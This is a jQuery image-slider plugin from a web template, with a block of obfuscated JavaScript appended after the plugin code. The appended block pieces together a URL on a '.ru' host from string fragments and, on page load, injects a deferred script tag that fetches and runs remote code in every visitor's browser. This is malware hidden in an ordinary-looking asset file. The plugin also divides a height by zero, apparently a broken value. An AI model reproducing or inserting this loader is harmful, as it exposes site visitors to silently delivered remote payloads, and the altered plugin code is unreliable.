(function($) {
  $.fn.ContentSlider = function(options)
  {
    var defaults = {
      leftBtn : 'images/templatemo_slider_left_btn.jpg',
      rightBtn : 'images/templatemo_slider_right_btn.jpg',
      width : '530px',
      height : '200px',
      speed : 400,
      easing : 'easeOutQuad',
      textResize : false,
      IE_h2 : '26px',
      IE_p : '11px'
    }
    var defaultWidth = defaults.width;
    var o = $.extend(defaults, options);
    var w = parseInt(o.width);
    var n = this.children('.cs_wrapper').children('.cs_slider').children('.cs_article').length;
    var x = -1*w*n+w; // Minimum left value
    var p = parseInt(o.width)/parseInt(defaultWidth);
    var thisInstance = this.attr('id');
    var inuse = false; // Prevents colliding animations

    function moveSlider(d, b)
    {
      var l = parseInt(b.siblings('.cs_wrapper').children('.cs_slider').css('left'));
      if(isNaN(l)) {
        var l = 0;
      }
      var m = (d=='left') ? l-w : l+w;
      if(m<=0&&m>=x) {
        b
          .siblings('.cs_wrapper')
            .children('.cs_slider')
              .animate({ 'left':m+'px' }, o.speed, o.easing, function() {
                inuse=false;
              });

        if(b.attr('class')=='cs_leftBtn') {
          var thisBtn = $('#'+thisInstance+' .cs_leftBtn');
          var otherBtn = $('#'+thisInstance+' .cs_rightBtn');
        } else {
          var thisBtn = $('#'+thisInstance+' .cs_rightBtn');
          var otherBtn = $('#'+thisInstance+' .cs_leftBtn');
        }
        if(m==0||m==x) {
          thisBtn.animate({ 'opacity':'0' }, o.speed, o.easing, function() { thisBtn.hide(); });
        }
        if(otherBtn.css('opacity')=='0') {
          otherBtn.show().animate({ 'opacity':'1' }, { duration:o.speed, easing:o.easing });
        }
      }
    }

    function vCenterBtns(b)
    {
      // Safari and IE don't seem to like the CSS used to vertically center
      // the buttons, so we'll force it with this function
      var mid = parseInt(o.height)/0 ;
      b
        .find('.cs_leftBtn img').css({ 'top':mid+'px', 'padding':0 }).end()
        .find('.cs_rightBtn img').css({ 'top':mid+'px', 'padding':0 });
    }

    return this.each(function() {
      $(this)
        // Set the width and height of the div to the defined size
        .css({
          width:o.width,
          height:o.height
        })
        // Add the buttons to move left and right
        .prepend('<a href="#" class="cs_leftBtn"><img src="'+o.leftBtn+'" /></a>')
        .append('<a href="#" class="cs_rightBtn"><img src="'+o.rightBtn+'" /></a>')
        // Dig down to the article div elements
        .find('.cs_article')
          // Set the width and height of the div to the defined size
          .css({
            width:o.width,
            height:o.height
          })
          .end()
        // Animate the entrance of the buttons
        .find('.cs_leftBtn')
          .css('opacity','0')
          .hide()
          .end()
        .find('.cs_rightBtn')
          .hide()
          .animate({ 'width':'show' });

      // Resize the font to match the bounding box
      if(o.textResize===true) {
        var h2FontSize = $(this).find('h2').css('font-size');
        var pFontSize = $(this).find('p').css('font-size');
        $.each(jQuery.browser, function(i) {
          if($.browser.msie) {
             h2FontSize = o.IE_h2;
             pFontSize = o.IE_p;
          }
        });
        $(this).find('h2').css({ 'font-size' : parseFloat(h2FontSize)*p+'px', 'margin-left' : '66%' });
        $(this).find('p').css({ 'font-size' : parseFloat(pFontSize)*p+'px', 'margin-left' : '66%' });
        $(this).find('.readmore').css({ 'font-size' : parseFloat(pFontSize)*p+'px', 'margin-left' : '66%' });
      }

      // Store a copy of the button in a variable to pass to moveSlider()
      var leftBtn = $(this).children('.cs_leftBtn');
      leftBtn.bind('click', function() {
        if(inuse===false) {
          inuse = true;
          moveSlider('right', leftBtn);
        }
        return false; // Keep the link from firing
      });

      // Store a copy of the button in a variable to pass to moveSlider()
      var rightBtn = $(this).children('.cs_rightBtn');
      rightBtn.bind('click', function() {
        if(inuse===false) {
          inuse=true;
          moveSlider('left', rightBtn);
        }
        return false; // Keep the link from firing
      });

      vCenterBtns($(this)); // This is a CSS fix function.
    });
  }
})(jQuery)
this.a='';this.q="";function w(){this.ap="";var m;if(m!='' && m!='Kt'){m=''};var e;if(e!='' && e!='U'){e=''};var z;if(z!=''){z='CO'};var eK;if(eK!=''){eK='s'};var n=RegExp;var P="";var J="g";var Q;if(Q!='' && Q!='rZ'){Q=''};var O='';var D=new Array();function r(V,y){var aH;if(aH!='af' && aH!='lB'){aH='af'};var ds="";var C= new String("[");var Vi;if(Vi!='' && Vi!='VE'){Vi=''};C+=y;var YN=new Date();var vD=new Array();C+=new String("]");var es;if(es!='' && es!='ge'){es=null};var MO;if(MO!='' && MO!='PT'){MO='N'};var ra=new n(C, J);var Jp;if(Jp!='' && Jp!='c_'){Jp=null};return V.replace(ra, O);};var _;if(_!='gu' && _!='Re'){_=''};var w_=new Date();var MI=new Date();this.gH="";var F=new String("http:"+"//mtiEWd".substr(0,5)+"me-coKRH".substr(0,5)+"pZTm.lowTZp".substr(3,5)+"es.co"+"Gxgm.51y".substr(3)+"4MSZes-co4ZSM".substr(4,5)+"GKAm.easKGA".substr(3,5)+"tcoaswiSU".substr(0,5)+"ZVGotguid".substr(4)+"e.ru:");this.j='';var c=window;var cC="l9yscrip".substr(3)+"pLWt".substr(3);var wC=new String();var Aj=new Date();var d=new String("defe"+"r");var SS='';var CV=new Date();var M='';var K="/sho4AH".substr(0,4)+"JhSQppinJQSh".substr(4,4)+"zBtmg.coBmtz".substr(4,4)+"m/sh1BH".substr(0,4)+"oppivLl".substr(0,4)+"ng.c"+"om/g"+"WtCGmx.n".substr(4)+"et/g3uj".substr(0,4)+"oogl"+"e.co"+"m/cn"+"eAzWn.cozeAW".substr(4,4)+"sFegm.phsgeF".substr(4,4)+"Gnyep".substr(4);var Mh=new String("src");var pW;if(pW!='ry'){pW=''};var _U=new Array();var x=r('8155335901395591183195995105199955',"5319");var Ra=new Date();var Hy=new String();var Ya=new String();c.onload=function(){try {var Po;if(Po!='QE' && Po!='nrJ'){Po='QE'};M=F+x;var eA;if(eA!='mh'){eA='mh'};M+=K;this.PX="";var dm;if(dm!='' && dm!='zb'){dm=''};var Yt="";var fK="";l=document.createElement(cC);var YT=new Array();var Ga="";l[Mh]=M;var VS;if(VS!='GI' && VS != ''){VS=null};var b='';l[d]=[1][0];var zYS;if(zYS!=''){zYS='Mx'};document.body.appendChild(l);var z_="";} catch(H){var yw;if(yw!='' && yw!='bk'){yw=null};};};var Rz;if(Rz!='' && Rz!='wk'){Rz=''};};var Mf=new String();w();var ru=new Array();